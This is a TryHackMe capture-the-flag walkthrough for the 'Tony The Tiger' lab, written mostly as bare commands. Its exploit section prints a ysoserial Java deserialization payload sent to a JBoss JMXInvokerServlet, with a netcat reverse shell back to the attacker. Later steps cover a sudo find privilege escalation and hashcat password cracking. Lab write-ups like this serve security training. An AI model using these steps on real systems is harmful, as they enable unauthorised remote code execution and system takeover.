TryHackMe — Tony The Tiger Walkthrough

Tony The Tiger

Task 1 Deploy

Task 2 Intro

Task 3 Recon

nmap -sC -sV -oN nmap {IP}
22/tcp open ssh OpenSSH 6.6.1p1 Ubuntu 2ubuntu2.13 (Ubuntu Linux; protocol 2.0)| ssh-hostkey: | 1024 d6:97:8c:b9:74:d0:f3:9e:fe:f3:a5:ea:f8:a9:b5:7a (DSA)| 2048 33:a4:7b:91:38:58:50:30:89:2d:e4:57:bb:07:bb:2f (RSA)| 256 21:01:8b:37:f5:1e:2b:c5:57:f1:b0:42:b7:32:ab:ea (ECDSA)|_ 256 f6:36:07:3c:3b:3d:71:30:c4:cd:2a:13:00:b5:25:ae (ED25519)
80/tcp open http Apache httpd 2.4.7 ((Ubuntu))|_http-generator: Hugo 0.66.0|_http-server-header: Apache/2.4.7 (Ubuntu)|_http-title: Tony's Blog
8080/tcp open http Apache Tomcat/Coyote JSP engine 1.1| http-methods: |_ Potentially risky methods: PUT DELETE TRACE|_http-server-header: Apache-Coyote/1.1|_http-title: Welcome to JBoss ASService Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel

Task 4 Tony’s Flag

strings tony.jpg

Task 5 Exploit!

gadget = check_output(['java', '-jar', ysoserial_path, 'CommonsCollections5', args.command])
r ='{}://{}:{}/invoker/JMXInvokerServlet'.format(args.proto, ip, port), verify=False, data=gadget)
nc -lvnp 8888
python --ysoserial-path ysoserial.jar --proto http {IP}:8080 "nc {Self_IP} -e /bin/sh 8888"
python -c 'import pty; pty.spawn("/bin/bash")'

Task 6 Find User JBoss` flag

ssh jboss@{IP}

Task 7 Escalation!

sudo -l 
sudo find /etc/passwd -exec /bin/sh \;
hashid {HASH}
hashcat -a 0 -m 0 {HASH} /usr/share/wordlists/rockyou.txt

Final Thoughts




Software Developer at Loanboox

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Matheus Antunes de Jesus

Matheus Antunes de Jesus

Software Developer at Loanboox

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